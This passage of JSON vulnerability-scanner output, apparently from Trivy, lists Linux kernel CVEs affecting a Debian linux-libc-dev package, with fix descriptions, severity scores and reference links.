"https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72222" ], "PublishedDate": "2026-08-15T06:21:41.12Z", "LastModifiedDate": "2026-10-16T19:17:14.847Z" }, { "VulnerabilityID": "CVE-2026-72243", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72243", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:40fff5227fc09821a03392d1d9523b5ba87dd614f5eecd772286bfae06d598d0", "Title": "kernel: selinux: check connect-related permissions on TCP Fast Open", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nselinux: check connect-related permissions on TCP Fast Open\n\nSimilar to Landlock, SELinux was not updated when TCP Fast Open\nsupport was introduced to ensure connect-related permissions are\nchecked when using TCP Fast Open. Update its socket_sendmsg() hook to\ncall selinux_socket_connect() when MSG_FASTOPEN is passed.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-72243", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/linus/44c74d27d1b9aaa99fa8a83640c1223575262b80%20%287.2-rc3%29", "https://git.kernel.org/stable/c/11406d0d7e11b4e525bb2ace2c70107031d058da", "https://git.kernel.org/stable/c/44c74d27d1b9aaa99fa8a83640c1223575262b80", "https://git.kernel.org/stable/c/646ebbc5f2ff9147d084e1213143f091026a611c", "https://git.kernel.org/stable/c/d028bc080a0dcd6a7f8e1ae1bd32dda696505ba3", "https://git.kernel.org/stable/c/e507633bf76bccf1a6af27771fb0d6e2862b7eac", "https://git.kernel.org/stable/c/fc633a598206d4f23af782db7c0b5f3a82751d2c", "https://linux.oracle.com/cve/CVE-2026-72243.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://lore.kernel.org/linux-cve-announce/2026081551-CVE-2026-72243-04e7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72243", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72243" ], "PublishedDate": "2026-08-15T06:21:51.443Z", "LastModifiedDate": "2026-10-16T19:17:16.37Z" }, { "VulnerabilityID": "CVE-2026-72251", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72251", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:47160d199fa1a6d1b4e337ad18ae43d8eb58f900225b23e1a1cd095369be8dc3", "Title": "kernel: netfilter: nf_nat_sip: reload possible stale data pointer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_nat_sip: reload possible stale data pointer\n\nquoting sashiko:\n ------------------------------------------------------------------------\n [..] noticed a potential memory bug and header corruption involving the\n SIP NAT helper.\n\n In net/netfilter/nf_nat_sip.c:nf_nat_sip():\n\tif (skb_ensure_writable(skb, skb-\u003elen)) {\n\t\tnf_ct_helper_log(skb, ct, \"cannot mangle packet\");\n\t\treturn NF_DROP;\n\t}\n\tuh = (void *)skb-\u003edata + protoff;\n\tuh-\u003edest = ct_sip_info-\u003eforced_dport;\n\tif (!nf_nat_mangle_udp_packet(skb, ct, ctinfo, protoff,\n\t\t\t\t 0, 0, NULL, 0)) {\n\n If a cloned or fragmented SKB is reallocated by skb_ensure_writable(), the\n old data buffer is freed. However, nf_nat_sip() fails to update *dptr to\n point to the new buffer.\n\n It also appears to use nf_nat_mangle_udp_packet() on what could be a TCP\n packet, which would overwrite the sequence number with a checksum update.\n ------------------------------------------------------------------------\n\nnf_conntrack_sip linerizes skbs, hence no fragmented skb can be seen.\nBut clones are possible, so rebuild dptr.\n\nDisable nf_nat_mangle_udp_packet() branch for TCP streams.\nIt doesn't look like this can ever happen, else we should have received\nbug reports about this, so just check the conntrack is UDP and drop\notherwise.\n\nThe calling conntrack_sip set -\u003eforced_dport for SIP_HDR_VIA_UDP messages,\nso I don't think this is ever expected to be true for a TCP stream.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72251", "https://git.kernel.org/linus/77e43bcb7ec177e293a5c3f1b91a2c5aebfb6c68%20%287.2-rc3%29", "https://git.kernel.org/stable/c/0e76e3e886cc9ee027337d5ad39cb96f57b7bdc7", "https://git.kernel.org/stable/c/2bcf2c5052fb5e73e255140ab43f056aef409c27", "https://git.kernel.org/stable/c/57e4e29644ec054d7021d296407e7ddd844afea2", "https://git.kernel.org/stable/c/77e43bcb7ec177e293a5c3f1b91a2c5aebfb6c68", "https://git.kernel.org/stable/c/bded21a4bf9bf86a79148be735723a97ca9a7532", "https://git.kernel.org/stable/c/dc11f26685aa850f237226f0f463647aea58ab7c", "https://git.kernel.org/stable/c/e38143c9b477f2968024c47c647dd4456a40aff1", "https://git.kernel.org/stable/c/eae9c6ccb5af69c713a65f8ae219f5c1aa32cd17", "https://linux.oracle.com/cve/CVE-2026-72251.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026081553-CVE-2026-72251-3036@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72251", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72251" ], "PublishedDate": "2026-08-15T06:21:52.393Z", "LastModifiedDate": "2026-10-16T19:17:17.06Z" }, { "VulnerabilityID": "CVE-2026-72255", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72255", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:16f763a58c64d8508975edd784d9a2463f892adc408224a437af7713166c5830", "Title": "kernel: netfilter: nf_queue: pin bridge device while NFQUEUE holds fake dst", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_queue: pin bridge device while NFQUEUE holds fake dst\n\nThe br_netfilter fake rtable is embedded in struct net_bridge and is\nattached to bridged packets with skb_dst_set_noref(). If such a packet is\nqueued to NFQUEUE, __nf_queue() upgrades that fake dst with\nskb_dst_force().\n\nAt that point the queued skb can hold a real dst reference after bridge\nteardown has started. The problem is not that every bridged packet needs\nits own dst reference. The problem is that NFQUEUE can keep the bridge\nprivate fake dst alive after unregister begins.\n\nFix this by keeping the bridge fake dst model unchanged and pinning the\nbridge master device only while the packet sits in NFQUEUE. Record the\nbridge device in nf_queue_entry when the queued skb carries a bridge fake\ndst, take a device reference for the queue lifetime, and drop it when the\nqueue entry is freed.\n\nAlso make sure queued entries are reaped when that bridge device goes\ndown, and drop the redundant nf_bridge_info_exists() test from the fake\ndst detection.\n\nThis keeps netdev_priv(br-\u003edev) alive until verdict completion, so the\nembedded fake rtable and its metrics backing storage cannot be freed out\nfrom under dst_release(). It also avoids the constant refcount bump and\navoids using ipv4-specific dst helpers for IPv6 bridge traffic.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-72255", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/c9c9b37f8c5505224e8d206184df3bb668ee00cf%20%287.2-rc1%29", "https://git.kernel.org/stable/c/01ace27af47801dd7f6b839e782b62863af979cc", "https://git.kernel.org/stable/c/0ca505346c5e2905ab7b5313af801fcf38f594a8", "https://git.kernel.org/stable/c/3f03a2d225c668283110ad5f9ff159ba4591e2c7", "https://git.kernel.org/stable/c/430521af7fe8a9c08f5a2554224a35f11f51d99e", "https://git.kernel.org/stable/c/47b3af24de5fbed4bf2952de0f5294ef1a338a26", "https://git.kernel.org/stable/c/4e56d3d60d3192ef0a0c08e8b433636690189384", "https://git.kernel.org/stable/c/8dc51351472825500145eed5bddfb88b2ec32008", "https://git.kernel.org/stable/c/c9c9b37f8c5505224e8d206184df3bb668ee00cf", "https://linux.oracle.com/cve/CVE-2026-72255.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081554-CVE-2026-72255-56ae@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72255", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72255" ], "PublishedDate": "2026-08-15T06:21:53.127Z", "LastModifiedDate": "2026-10-16T19:17:17.753Z" }, { "VulnerabilityID": "CVE-2026-72298", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72298", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5e52d782972490ef34505300e766a46a1f409a6f5c9caed6de3c4a5d7214177c", "Title": "kernel: net: qrtr: fix 32-bit integer overflow in qrtr_endpoint_post()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: qrtr: fix 32-bit integer overflow in qrtr_endpoint_post()\n\nqrtr_endpoint_post() validates an incoming packet with\n\n\tif (!size || len != ALIGN(size, 4) + hdrlen)\n\t\tgoto err;\n\nwhere size comes from the wire. On 32-bit, size_t is 32 bits and\nALIGN(size, 4) wraps to 0 for size \u003e= 0xfffffffd, so the check\npasses and skb_put_data(skb, data + hdrlen, size) writes past the\nhdrlen-sized skb and oopses the kernel. 64-bit is unaffected.\n\nThis is the 32-bit residual of ad9d24c9429e2 (\"net: qrtr: fix OOB\nRead in qrtr_endpoint_post\"), which fixed only the 64-bit case.\n\nReject any size that cannot fit the buffer before the ALIGN.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-72298", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", 